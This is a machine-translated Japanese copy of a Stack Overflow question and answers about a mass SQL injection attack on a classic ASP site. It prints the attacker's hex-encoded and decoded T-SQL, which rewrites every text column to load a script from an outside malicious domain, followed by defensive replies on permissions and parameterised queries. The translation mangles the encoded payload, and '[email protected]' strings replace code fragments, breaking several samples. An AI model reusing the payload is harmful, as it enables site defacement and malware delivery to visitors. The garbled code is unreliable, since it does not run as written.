2011-12-05 6 views
46

私はこの記事を非常に多くのコーディング関連として掲示したいと思っていました。今週私の会社の古いASP(クラシック)サイトでこの週を整理しなければならなかったものでした。誰かが私にこのSQLインジェクション攻撃を説明できますか?

数日前に実行されたSQLインジェクション攻撃でヒットしましたが、これらのSQLクエリーを使用してSQL Serverに「ダメージ」があったのは私の頭を傷つけています。

正直言って、これは非常に独創的な方法で実行されていると思っていました。

攻撃:

122 +は+%の40代+ VARCHAR%28.4万%29 +設定+%の40代を宣言%3Dcast%280x73657420616e73695f7761726e696e6773206f6666204445434c415245204054205641524348415228323535292c404320564152434841522832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420632e5441424c455f4e414d452c632e434f4c554d4e5f4e414d452066726f6d20494e464f524d4154494f4e5f534348454d412e636f6c756d6e7320632c20494e464f524d4154494f4e5f534348454d412e7461626c6573207420776865726520632e444154415f5459504520696e2028276e76617263686172272c2776617263686172272c276e74657874272c2774657874272920616e6420632e4348415241435445525f4d4158494d554d5f4c454e4754483e333020616e %28.4万%29%29 + EXEC%28%40代%29-

VARCHARとして6420742e7461626c655f6e616d653d632e7461626c655f6e616d6520616e6420742e7461626c655f747970653d2742415345205441424c4527204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20455845432827555044415445205b272b40542b275d20534554205b272b40432b275d3d2727223e3c2f7469746c653e3c736372697074207372633d22687474703a2f2f6c696c75706f7068696c75706f702e636f6d2f736c2e706870223e3c2f7363726970743e3c212d2d27272b525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d2929207768657265204c45465428525452494d28434f4e5645525428564152434841522836303030292c5b272b40432b275d29292c3137293c3e2727223e3c2f7469746c653e3c7363726970742727202729204645544348204e4558542046524f4d205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f
それが解読何

(私は理解して欲しいもの)

set ansi_warnings off DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR select c.TABLE_NAME,c.COLUMN_NAME from INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') and c.CHARACTER_MAXIMUM_LENGTH>30 and t.table_name=c.table_name and t.table_type='BASE TABLE' OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['[email protected]+'] SET ['[email protected]+']=''"></title><script src="http://lilXXXXXXXop.com/sl.php"></script><!--''+RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])) where LEFT(RTRIM(CONVERT(VARCHAR(6000),['[email protected]+'])),17)<>''"></title><script'' ') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor 

我々はバックアップ(事前注入)を回収して、アプリケーション全体を経て、すべての入力文を消毒しました。私たちのサーバーはファイアウォールされているので、直接SQLにアクセスすることはできませんが、他に何が残っているか知りたいのですが、SQLクエリが私の頭上にあることを認めなければなりません。

誰かが攻撃を受けて攻撃SQLを説明することはできますか?

の謝罪は、私がFULL DUMP & SQL

+1

HTMLファイルAFAICTの一部にJavaScriptファイルが追加されているようです。 – Blender

+0

'SELECT 0xFF;'はMySQLで 'ÿ'を返します。このパスを調べることができます。 –

+2

あなたがスナップを取り除いて全部を投稿すると助けになるかもしれない – griegs

答えて

57

ある意味ではお役に立てば幸いです:

set ansi_warnings off 

DECLARE @T VARCHAR(255), @C VARCHAR(255) 

DECLARE Table_Cursor CURSOR FOR 
    select c.TABLE_NAME, c.COLUMN_NAME 
     from INFORMATION_SCHEMA.columns c, 
      INFORMATION_SCHEMA.tables t 
    where c.DATA_TYPE in ('nvarchar','varchar','ntext','text') 
     and c.CHARACTER_MAXIMUM_LENGTH > 30 
     and t.table_name = c.table_name 
     and t.table_type = 'BASE TABLE' 

OPEN Table_Cursor 

FETCH NEXT FROM Table_Cursor INTO @T, @C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
    EXEC ('UPDATE [' + @T + '] 
       SET [' + @C + '] = 
        ''"></title>'' + 
        ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' + 
        ''<!--'' + 
        RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])) 
      WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17) 
        <> ''"></title><script'' 
      ' 
     ) 

    FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 

CLOSE Table_Cursor 

DEALLOCATE Table_Cursor 

それはすべてのテーブルのすべてのテキスト列を通過して、いくつかのHTMLを挿入内部に—外部生成されたJavaScriptへのポインタを含むHTML。

+18

+1したことのように、賞賛しました! – ComputerSaysNo

+1

+1もあなたのためにフォーマットしました;) – Jakub

15

それはすべてのテーブル内のすべての列をループしてそのソースポイント悪質なJSファイルで<script>のタグを追加することによって、その値を更新ですを更新しました。

重要なビットは、私がここでは省略しているので、文はおそらく、(「varchar型」、「文字」、「テキスト」)または類似のもののようなもので終わってしまった何かを推測している

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

ですテキストを保持する列を更新するだけです。彼らはあなたのウェブサイトに引っ張られているテキストを列の1つが保持することを望んでいるので、JS参照をそれに追加した後、それは様々なページのソースに含まれます。

これを修正するには、テキストを含むすべての列をループし、挿入されたスクリプトを空の文字列に置き換える必要があります。 Googleはここにあなたの友人がいますが、これを行うためのスクリプトを設定するのに役立つはずのかなり良いリンクがあります。

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2

+2

いいえ、前回のDBバックアップにロールバックしました。私は、SQLが 'varchar'フィールドに何か追加したことを気にしていました。 – Jakub

4

URLScan 3.1のインストールを検討して、アプリケーションをSQLインジェクションの試行から迅速に保護し、アプリケーションを処理してSQL文を適切にサニタイズしてください。

このタイプのSQLインジェクション攻撃は、通常、データベースユーザーの権限があまりにも緩いために機能します。 DBOの権利。アプリケーションを実行するために必要な権限だけを持つデータベースユーザーを使用して、アプリケーションからデータベースに接続してください。以下のようなスクリプトを実行して、必要な各オブジェクトに必要な個別の権利を適用するよりも、データベースユーザーを作成し、公開権を持ってデータベースにマップすることができます。

DECLARE @LOGIN varchar(255) 
DECLARE @DB varchar(255) 

SELECT @LOGIN = 'yourdbuser' 
SELECT @DB = 'yourdb' 

/* set default database */ 
EXEC sp_defaultdb @LOGIN, @DB 

/* drop system admin role */ 
EXEC sp_dropsrvrolemember @LOGIN, 'sysadmin' 

/* drop database owner role */ 
EXEC sp_droprolemember 'db_owner', @LOGIN 

/* grant execute on all non system stored procedures and scalar functions */ 
DECLARE @SP varchar(255) 
DECLARE Proc_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='P' or type='FN') 
AND category <> 2 -- system 
OPEN Proc_Cursor 
FETCH NEXT FROM Proc_Cursor INTO @SP 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT EXECUTE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Proc_Cursor INTO @SP 
END 
CLOSE Proc_Cursor 
DEALLOCATE Proc_Cursor 

/* grant select on table functions */ 
DECLARE @TF varchar(255) 
DECLARE Tf_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='TF') 
AND category <> 2 -- system 
OPEN Tf_Cursor 
FETCH NEXT FROM Tf_Cursor INTO @TF 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Tf_Cursor INTO @SP 
END 
CLOSE Tf_Cursor 
DEALLOCATE Tf_Cursor 

/* grant select/update/insert/delete on all user defined tables */ 
DECLARE @T varchar(255) 
DECLARE Table_Cursor CURSOR FOR 
SELECT name FROM sysobjects 
WHERE (type='U' or type='V') -- user defined tables and views 
OPEN Table_Cursor 
FETCH NEXT FROM Table_Cursor INTO @T 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC ('GRANT SELECT, UPDATE, INSERT, DELETE ON ['[email protected]+'] TO ['[email protected]+']') 
FETCH NEXT FROM Table_Cursor INTO @T 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor 

/* deny access to system tables */ 
DENY SELECT ON syscolumns TO yourdbuser 
DENY SELECT ON sysobjects TO yourdbuser 

DENY VIEW DEFINITION TO yourdbuser 

DENY SELECT ON sys.databases TO yourdbuser 
DENY SELECT ON sys.columns TO yourdbuser 
DENY SELECT ON sys.objects TO yourdbuser 
DENY SELECT ON sys.sql_logins TO yourdbuser 
DENY SELECT ON sys.all_columns TO yourdbuser 
DENY SELECT ON sys.all_objects TO yourdbuser 
DENY SELECT ON sys.all_parameters TO yourdbuser 
DENY SELECT ON sys.all_views TO yourdbuser 

明らかに、これらのsysテーブルから選択する必要のある手順があるので、特定のアプリケーションに対してこれをテストしてください。

0

このようにクエリを変更します。

Dim oConn, oRS, SQL 
'Query open to attack 
SQL = "SELECT * FROM [Table] WHERE [id] = " & Request.QueryString("id") 

Set oConn = Server.CreateObject("ADODB.Connection") 
Call oConn.Open(conn_string_from_inc) 

Set oRS = oConn.Execute(SQL)  

Call oConn.Close() 
Set oConn = Nothing 

このようなものに;

Dim oCmd, oRS, SQL 
SQL = "SELECT * FROM [Table] WHERE [id] = ?" 

Set oCmd = Server.CreateObject("ADODB.Command") 
With oCmd 
    .ActiveConnection = conn_string_from_inc 
    .CommandType = adCmdText 
    .CommandText = SQL 
    Call .Parameters.Append(.CreateParameter("@id", adInteger, adParamInput, 4)) 
    .Parameters("@id").Value = Request.QueryString("id") 
    Set oRS = .Execute() 
End With 
Set oCmd = Nothing 

これは、サニタイズ入力に頼らずにSQLインジェクションに対抗するための単なる粗悪な例です。私はまだこれに違ってアプローチします。

関連する問題